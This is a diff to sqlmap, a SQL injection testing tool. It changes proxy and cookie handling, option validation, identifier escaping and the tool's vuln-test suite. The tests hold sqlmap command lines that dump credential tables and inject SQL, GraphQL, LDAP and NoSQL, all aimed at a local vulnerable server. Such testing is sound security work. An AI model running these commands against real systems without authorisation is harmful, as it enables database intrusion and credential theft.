|
||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
|
@ -1293,7 +1330,7 @@ def _setHTTPHandlers():
|
|||
|
||||
match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc)
|
||||
if match:
|
||||
username, password = match.group(1), match.group(2)
|
||||
username, password = _urllib.parse.unquote(match.group(1)), _urllib.parse.unquote(match.group(2))
|
||||
else:
|
||||
username, password = None, None
|
||||
|
||||
|
|
@ -1337,7 +1374,11 @@ def _setHTTPHandlers():
|
|||
|
||||
if conf.proxyCred:
|
||||
# Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
|
||||
proxyString = "%s@" % conf.proxyCred
|
||||
# Note: (raw) credentials have to be URL-encoded, as urllib decodes them (e.g. '%41' would become 'A')
|
||||
proxyString = "%s@" % ':'.join(_urllib.parse.quote(_, safe="") for _ in conf.proxyCred.split(':', 1))
|
||||
elif match:
|
||||
# Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own)
|
||||
proxyString = "%s:%s@" % (match.group(1), match.group(2))
|
||||
else:
|
||||
proxyString = ""
|
||||
|
||||
|
|
@ -1354,7 +1395,8 @@ def _setHTTPHandlers():
|
|||
debugMsg = "creating HTTP requests opener object"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])
|
||||
# Note: (emptied) proxyHandler is kept in case of --ignore-proxy, as otherwise urllib adds its default one (i.e. using environment proxies)
|
||||
handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies or conf.ignoreProxy else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])
|
||||
|
||||
if not conf.dropSetCookie:
|
||||
if not conf.loadCookies:
|
||||
|
|
@ -1599,7 +1641,11 @@ def _setHTTPExtraHeaders():
|
|||
header, value = (_.lstrip() for _ in headerValue.split(":", 1))
|
||||
|
||||
if header and value:
|
||||
conf.httpHeaders.append((header, value))
|
||||
# Note: Cookie header provided this way is treated as --cookie (i.e. its parameters become testable)
|
||||
if header.upper() == HTTP_HEADER.COOKIE.upper() and not conf.cookie:
|
||||
conf.cookie = value
|
||||
else:
|
||||
conf.httpHeaders.append((header, value))
|
||||
else:
|
||||
errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
@ -2065,6 +2111,9 @@ def _cleanupOptions():
|
|||
if conf.string:
|
||||
conf.string = decodeStringEscape(conf.string)
|
||||
|
||||
if conf.notString:
|
||||
conf.notString = decodeStringEscape(conf.notString)
|
||||
|
||||
if conf.getAll:
|
||||
for _ in WIZARD.ALL:
|
||||
conf.__setitem__(_, True)
|
||||
|
|
@ -2078,8 +2127,9 @@ def _cleanupOptions():
|
|||
if conf.torType:
|
||||
conf.torType = conf.torType.upper()
|
||||
|
||||
if conf.col:
|
||||
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
|
||||
for _ in ("db", "tbl", "col"):
|
||||
if conf.get(_):
|
||||
conf[_] = re.sub(r"\s*,\s*", ',', conf[_])
|
||||
|
||||
if conf.exclude:
|
||||
regex = False
|
||||
|
|
@ -2110,7 +2160,7 @@ def _cleanupOptions():
|
|||
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
||||
|
||||
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
|
||||
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
|
||||
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None and not conf.ignoreProxy:
|
||||
debugMsg = "using environment proxy '%s'" % envProxy
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
|
@ -2317,9 +2367,13 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
for _ in ("authRefresh", "cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.authRefreshHeaders = {}
|
||||
kb.authRefreshVersion = 0
|
||||
kb.authRefreshFailed = False
|
||||
|
||||
kb.matchRatio = None
|
||||
kb.maxConnectionsFlag = False
|
||||
kb.trueLength = None
|
||||
|
|
@ -2427,6 +2481,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||
kb.passwordMgr = None
|
||||
kb.postprocessFunctions = []
|
||||
kb.preprocessFunctions = []
|
||||
kb.authRefreshFunction = None
|
||||
kb.skipVulnHost = None
|
||||
kb.storeCrawlingChoice = None
|
||||
kb.tamperFunctions = []
|
||||
|
|
@ -2605,7 +2660,7 @@ def _mergeOptions(inputOptions, overrideOptions):
|
|||
inputOptionsItems = inputOptions.__dict__.items()
|
||||
|
||||
for key, value in inputOptionsItems:
|
||||
if key not in conf or value not in (None, False) or overrideOptions:
|
||||
if key not in conf or (value is not None and value is not False) or overrideOptions: # Note: explicit zero (e.g. '--delay 0') has to win over the configuration file
|
||||
conf[key] = value
|
||||
|
||||
if not conf.api:
|
||||
|
|
@ -2710,6 +2765,11 @@ def _setProxyList():
|
|||
_, type_, cred, address, port = match.groups()
|
||||
conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port))
|
||||
|
||||
# Note: otherwise sqlmap would silently connect directly (i.e. without any proxy)
|
||||
if not conf.proxyList:
|
||||
errMsg = "no usable proxy entries found in proxy list file '%s' (expected format e.g. 'http://127.0.0.1:8080')" % conf.proxyFile
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
def _setTorProxySettings():
|
||||
if not conf.tor:
|
||||
return
|
||||
|
|
@ -2841,6 +2901,11 @@ def _basicOptionValidation():
|
|||
errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
# Note: native HTTP/2 client bypasses urllib's (challenge-response) authentication handlers (only Basic is sent preemptively)
|
||||
if conf.http2 and ((conf.authType or "").lower() not in ("", AUTH_TYPE.BASIC, AUTH_TYPE.BEARER) or conf.authFile):
|
||||
errMsg = "HTTP/2 support is currently incompatible with HTTP authentication type '%s'" % (conf.authType or AUTH_TYPE.PKI)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.uValues and conf.uChar:
|
||||
errMsg = "option '--union-values' is incompatible with option '--union-char'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
@ -3000,6 +3065,10 @@ def _basicOptionValidation():
|
|||
errMsg = "option '--crawl-exclude' requires usage of switch '--crawl'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.privEsc and not any((conf.osPwn, conf.osSmb, conf.osBof)):
|
||||
errMsg = "switch '--priv-esc' requires usage of switch '--os-pwn', '--os-smbrelay' or '--os-bof'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.safePost and not conf.safeUrl:
|
||||
errMsg = "option '--safe-post' requires usage of option '--safe-url'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
@ -3171,6 +3240,7 @@ def init():
|
|||
_setTamperingFunctions()
|
||||
_setPreprocessFunctions()
|
||||
_setPostprocessFunctions()
|
||||
_setAuthRefreshFunction()
|
||||
_setTrafficOutputFP()
|
||||
_setupHTTPCollector()
|
||||
_setHttpOptions()
|
||||
|
|
|
|||
|
|
@ -163,6 +163,8 @@ optDict = {
|
|||
"getPasswordHashes": ("boolean", "Passwords"),
|
||||
"getPrivileges": ("boolean", "Privileges"),
|
||||
"getRoles": ("boolean", "Roles"),
|
||||
"getLinks": "boolean",
|
||||
"getAudit": "boolean",
|
||||
"getDbs": ("boolean", "Databases"),
|
||||
"getTables": ("boolean", "Tables"),
|
||||
"getColumns": ("boolean", "Columns"),
|
||||
|
|
@ -256,8 +258,9 @@ optDict = {
|
|||
"hexConvert": "boolean",
|
||||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"postprocess": "string",
|
||||
"authRefresh": "string",
|
||||
"preprocess": "string",
|
||||
"postprocess": "string",
|
||||
"repair": "boolean",
|
||||
"reportJson": "string",
|
||||
"saveConfig": "string",
|
||||
|
|
|
|||
|
|
@ -58,15 +58,15 @@ class Replication(object):
|
|||
|
||||
def __init__(self, parent, name, columns=None, create=True, typeless=False):
|
||||
self.parent = parent
|
||||
self.name = unsafeSQLIdentificatorNaming(name)
|
||||
self.name = unsafeSQLIdentificatorNaming(name).replace('"', '""') # Note: escaped for its (double quoted) usage in statements below
|
||||
self.columns = columns
|
||||
if create:
|
||||
try:
|
||||
self.execute('DROP TABLE IF EXISTS "%s"' % self.name)
|
||||
if not typeless:
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns)))
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname).replace('"', '""'), coltype) for colname, coltype in self.columns)))
|
||||
else:
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns)))
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname).replace('"', '""') for colname in self.columns)))
|
||||
except Exception as ex:
|
||||
errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
|
||||
errMsg += "located at '%s'" % self.parent.dbpath
|
||||
|
|
|
|||
|
|
@ -12,7 +12,6 @@ import random
|
|||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
|
|
@ -20,7 +19,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.10.0"
|
||||
VERSION = "1.10.11.89"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -115,7 +114,7 @@ BOOLEAN_MODEL_MATCH_RATIO = 0.9
|
|||
PARAMETER_MINING_BUCKET_SIZE = 25
|
||||
|
||||
# For filling in case of dumb push updates
|
||||
DUMMY_JUNK = "Phah5jue"
|
||||
DUMMY_JUNK = "rie8kooZ"
|
||||
|
||||
# Markers for special cases when parameter values contain html encoded characters
|
||||
PARAMETER_AMP_MARKER = "__PARAMETER_AMP__"
|
||||
|
|
@ -204,17 +203,14 @@ JITTER_JUNK_RESPONSES = (
|
|||
("", 200),
|
||||
)
|
||||
|
||||
# Regular expression used for extracting results from Google search
|
||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||
|
||||
# Google Search consent cookie
|
||||
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
|
||||
|
||||
# Regular expression used for extracting results from DuckDuckGo search
|
||||
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
||||
|
||||
# Regular expression used for extracting results from Bing search
|
||||
BING_REGEX = r'<h2><a href="([^"]+)" h='
|
||||
BING_REGEX = r'<h2[^>]*><a [^>]*href="(?:https?://www\.bing\.com/ck/a\?[^"]*?[?;]u=a1([^&"]+)[^"]*|([^"]+))"'
|
||||
|
||||
# Markers of search engine abuse/captcha pages (i.e. used IP address got blocked)
|
||||
SEARCH_ABUSE_MARKERS = ("detected unusual traffic", "issue with the Tor Exit Node you are currently using", "anomaly.js", "Verifying your browser", "automated queries")
|
||||
|
||||
# Dummy user agent for search (if default one returns different results)
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0"
|
||||
|
|
@ -586,7 +582,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
|
|||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"
|
||||
|
||||
# Regex used for parsing XML Burp saved history items
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>\s*(?:<protocol>\s*(https?)\s*</protocol>)?.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
|
||||
# Encoding used for Unicode data
|
||||
UNICODE_ENCODING = "utf8"
|
||||
|
|
@ -612,6 +608,9 @@ MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
|
|||
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
|
||||
KEYSET_MIN_ROWS = 1000
|
||||
|
||||
# Maximum detailed metadata rows per variable-size security audit listing
|
||||
AUDIT_MAX_ROWS = 20
|
||||
|
||||
# Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the technique off (safety against trimmed/blocked long IN() payloads)
|
||||
HUFFMAN_PROBE_LIMIT = 8
|
||||
|
||||
|
|
@ -850,7 +849,7 @@ PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"
|
|||
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
||||
|
||||
# Template used for common column existence check
|
||||
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
||||
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT t.%s FROM %s t)" # Note: qualified, otherwise an unknown column would resolve to the (outer) injected query's table
|
||||
|
||||
# Data inside shellcodeexec to be filled with random string
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
|
|
|||
|
|
@ -180,7 +180,8 @@ def _setRequestParams():
|
|||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".*?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||
# Note: proper JSON string matching (e.g. "x\\" ends with an escaped backslash, not with an escaped quote)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"(?:[^"\\]|\\.)*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
|
||||
|
|
@ -329,6 +330,10 @@ def _setRequestParams():
|
|||
if kb.processUserMarks:
|
||||
kb.testOnlyCustom = True
|
||||
|
||||
if conf.testParameter:
|
||||
warnMsg = "option '-p' is ignored as only the custom injection marker(s) ('%s') will be tested" % kb.customInjectionMark
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if "=%s" % kb.customInjectionMark in _:
|
||||
warnMsg = "it seems that you've provided empty parameter value(s) "
|
||||
warnMsg += "for testing. Please, always use only valid parameter values "
|
||||
|
|
@ -438,7 +443,8 @@ def _setRequestParams():
|
|||
testableParameters = True
|
||||
|
||||
else:
|
||||
condition = intersect(conf.testParameter, [httpHeader], True)
|
||||
# Note: in case of --cookie, its (Cookie) parameters are tested separately (i.e. not the whole header)
|
||||
condition = intersect(conf.testParameter, [httpHeader], True) and not (conf.cookie and httpHeader.upper() == HTTP_HEADER.COOKIE.upper())
|
||||
|
||||
if condition:
|
||||
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
|
||||
|
|
@ -457,7 +463,7 @@ def _setRequestParams():
|
|||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.csrfToken:
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, "%s %s" % (conf.data or "", conf.parameters.get(PLACE.GET) or "")) and not any(re.search(r"\A%s\Z" % conf.csrfToken, _[0], re.I) for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
|
@ -486,6 +492,10 @@ def _setHashDB():
|
|||
if not conf.hashDBFile:
|
||||
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
|
||||
|
||||
if conf.sessionFile and not os.path.isdir(os.path.dirname(os.path.abspath(conf.hashDBFile))):
|
||||
errMsg = "directory of the provided session file '%s' does not exist" % conf.sessionFile
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
if conf.flushSession:
|
||||
if os.path.exists(conf.hashDBFile):
|
||||
if conf.hashDB:
|
||||
|
|
@ -587,6 +597,7 @@ def _resumeDBMS():
|
|||
|
||||
if not readInput(message, default='N', boolean=True):
|
||||
conf.dbms = None
|
||||
kb.dbmsFilter = []
|
||||
Backend.setDbms(dbms)
|
||||
Backend.setVersionList(dbmsVersion)
|
||||
else:
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import contextlib
|
||||
import doctest
|
||||
import json
|
||||
import logging
|
||||
|
|
@ -94,7 +95,9 @@ def vulnTest(tests=None, label="vuln"):
|
|||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")),
|
||||
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
|
||||
("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
|
||||
("-u \"<base>graphql\" --graphql -T creds --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
|
||||
("-u \"<base>list?min=0\" --multi-bit --technique=B -T users --dump --flush-session", ("carries a multi-bit channel", "30 entries", "luther")), # --multi-bit: a listing page whose rows depend on the injected value carries several bits per request
|
||||
("-u \"<h2base>?id=1\" --http2 --technique=T --timeless --dbms=sqlite --level=3 --risk=2 --banner --time-sec=5 --flush-session", ("turning on HTTP/2 timeless timing", "banner: '3.")), # --timeless: (SQLite heavy-query) time-based blind read by HTTP/2 response order (Note: --time-sec=5 as heavy queries scale with it)
|
||||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<base>echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle
|
||||
("-u \"<base>echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone)
|
||||
|
|
@ -113,6 +116,8 @@ def vulnTest(tests=None, label="vuln"):
|
|||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
("-d \"<direct>\" --links", ("back-end DBMS: SQLite", "enumeration of database links is not supported on SQLite", "~unhandled exception")),
|
||||
("-d \"<direct>\" --audit", ("back-end DBMS: SQLite", "security configuration audit is not supported on SQLite", "~unhandled exception")),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
|
|
@ -130,6 +135,12 @@ def vulnTest(tests=None, label="vuln"):
|
|||
except ImportError:
|
||||
TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
|
||||
logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
|
||||
try:
|
||||
__import__("h2")
|
||||
__import__("cryptography")
|
||||
except ImportError:
|
||||
TESTS = tuple(_ for _ in TESTS if "<h2base>" not in _[0])
|
||||
logger.warning("skipping the HTTP/2 vuln-test entry ('h2' or 'cryptography' not available)")
|
||||
|
||||
# --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
|
||||
# the needle is matched case-insensitively against each entry's command line and its expected
|
||||
|
|
@ -204,9 +215,11 @@ def vulnTest(tests=None, label="vuln"):
|
|||
os.close(handle)
|
||||
cleanups.append(database)
|
||||
|
||||
with sqlite3.connect(database) as conn:
|
||||
# Note: sqlite3's own context manager only commits (it does not close the connection)
|
||||
with contextlib.closing(sqlite3.connect(database)) as conn:
|
||||
c = conn.cursor()
|
||||
c.executescript(vulnserver.SCHEMA)
|
||||
conn.commit()
|
||||
|
||||
handle, request = tempfile.mkstemp(suffix=".req")
|
||||
os.close(handle)
|
||||
|
|
@ -231,6 +244,28 @@ def vulnTest(tests=None, label="vuln"):
|
|||
f.flush()
|
||||
|
||||
base = "http://%s:%d/" % (address, port)
|
||||
h2base = ""
|
||||
|
||||
# optional HTTP/2 (TLS) endpoint (e.g. for --timeless)
|
||||
if any("<h2base>" in _[0] for _ in TESTS):
|
||||
h2port = port + 1 if port < 65535 else port - 1
|
||||
thread = threading.Thread(target=vulnserver.run_h2, args=(address, h2port))
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
for _ in xrange(20):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
if not s.connect_ex((address, h2port)):
|
||||
h2base = "https://%s:%d/" % (address, h2port)
|
||||
break
|
||||
finally:
|
||||
s.close()
|
||||
time.sleep(0.5)
|
||||
|
||||
if not h2base:
|
||||
TESTS = tuple(_ for _ in TESTS if "<h2base>" not in _[0])
|
||||
logger.warning("skipping the HTTP/2 vuln-test entry (unable to start HTTP/2 endpoint)")
|
||||
url = "%s?id=1" % base
|
||||
direct = "sqlite3://%s" % database
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
|
|
@ -255,10 +290,10 @@ def vulnTest(tests=None, label="vuln"):
|
|||
options = options.replace(u"\u0161u\u0107uraj", "sucuraj")
|
||||
checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks]
|
||||
|
||||
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||
for tag, value in (("<url>", url), ("<base>", base), ("<direct>", direct), ("<tmpdir>", tmpdir), ("<request>", request), ("<log>", log), ("<multiple>", multiple), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d")), ("<h2base>", h2base)):
|
||||
options = options.replace(tag, value)
|
||||
|
||||
cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||
cmd = "%s \"%s\" %s --batch --non-interactive --debug%s" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options, "" if "--time-sec" in options else " --time-sec=1")
|
||||
|
||||
if "<tmpfile>" in cmd:
|
||||
handle, tmp = tempfile.mkstemp()
|
||||
|
|
@ -268,9 +303,10 @@ def vulnTest(tests=None, label="vuln"):
|
|||
|
||||
os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
|
||||
|
||||
# bounded well above the slowest known entry (GraphQL, ~96s) - a hung entry fails fast and
|
||||
# visibly instead of silently burning the whole CI job's timeout (see #6129 CI investigation)
|
||||
output = shellExec(cmd, timeout=180)
|
||||
# GraphQL blind-dumps every table, including the wide LDAP directory fixture. It takes
|
||||
# ~124s locally on PyPy and can exceed 180s on CI; give that entry more room without
|
||||
# weakening its checks or changing the watchdog for the remaining entries (see #6129).
|
||||
output = shellExec(cmd, timeout=300 if "--graphql" in options else 180)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
|
|
|
|||
|
|
@ -60,6 +60,7 @@ class _ThreadData(threading.local):
|
|||
self.lastHTTPError = None
|
||||
self.lastRedirectMsg = None
|
||||
self.lastQueryDuration = 0
|
||||
self.authRefreshTime = 0
|
||||
self.lastPage = None
|
||||
self.lastRequestMsg = None
|
||||
self.lastRequestUID = 0
|
||||
|
|
|
|||
|
|
@ -130,7 +130,7 @@ def cmdLineParser(argv=None):
|
|||
help="Connection string for direct database connection")
|
||||
|
||||
target.add_argument("-l", dest="logFile",
|
||||
help="Parse target(s) from Burp or WebScarab proxy log file")
|
||||
help="Parse target(s) from Burp, WebScarab or HAR log file")
|
||||
|
||||
target.add_argument("-m", dest="bulkFile",
|
||||
help="Scan multiple targets given in a textual file")
|
||||
|
|
@ -138,8 +138,8 @@ def cmdLineParser(argv=None):
|
|||
target.add_argument("-r", dest="requestFile",
|
||||
help="Load HTTP request from a file")
|
||||
|
||||
